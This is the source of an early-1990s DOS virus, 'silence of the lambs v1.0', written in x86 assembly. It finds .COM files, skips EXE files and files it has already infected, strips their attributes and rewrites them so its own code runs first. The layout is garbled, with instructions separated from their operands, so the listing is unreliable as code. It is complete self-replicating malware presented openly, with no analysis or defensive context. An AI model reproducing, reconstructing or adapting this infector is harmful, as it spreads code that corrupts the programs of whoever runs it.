; ; ; ; ;
silence of the lambs v1.0 (c) the chronomancer of demoralized youth 1992 first version : thursday 27th of febuary - 01:50 cet.
org 100h jmp short dummy1 db 'dy' dummy1: mov cx,(100h-80h)/2 mov si,80h save_parm: push [si] inc si inc si loop save_parm
again:
more:
mov xor mov int jc
ah,4eh cx,cx dx,offset file 21h nomore
cmp jae call
byte [9eh],0fah more infect
mov int jnc
ah,4fh 21h again
nomore:
mov mov rest_parm: pop dec dec loop
cx,(100h-80h)/2 si,0feh [si] si si rest_parm
eof
mov bx,0000h equ $-2 jmp bx
file
db '*.com',0
infect:
ok_mark:
mov mov dec mov cmp je jmp
bx,cs si,cs si ds,si byte[0],'z' ok_mark back2
sub jnc jmp
word [0003h],pgfsize ok_mark2 back
;save command line on stack
ok_mark2: mov sub push
ax,[0012h] ax,pgfsize ax
mov mov xor mov int
ds,bx ax,4301h cx,cx dx,80h+1eh 21h
mov int xchg
ax,3d02h 21h bx,ax
pop push mov xor mov int
ds ds cx,total dx,dx ah,3fh 21h
cmp je cmp je cmp je
byte [0],'m' close byte [0],'z' close word [2],'yd' close
xor xor push push mov int
cx,cx dx,dx cx dx ax,4202h 21h
add mov
ax,total+100h cs:word [00feh],ax
mov mov xor int
ah,40h cx,total dx,dx 21h
push pop
cs ds
mov mov mov int
ah,40h cx,applen dx,offset append 21h
mov pop pop int
ax,4200h dx cx 21h
push
[eof]
;exe ? ;exe ? ;allready infected?
close: back: back2:
append: call pop sub mov mov rep mov push ret applen
mov mov
ax,word [00feh] [eof],ax
mov mov mov int
ah,40h dx,100h cx,total 21h
pop
[eof]
mov int
ah,3eh 21h
pop add
ds ;(mov ds,si) word [0003h],pgfsize
push pop ret
cs ds
$+3 si si,3+total di,100h cx,total movsb ax,100h ax equ $-offset append
total equ $-100h pgfsize equ ($-100h)/16+2
;size ;paragraphs needed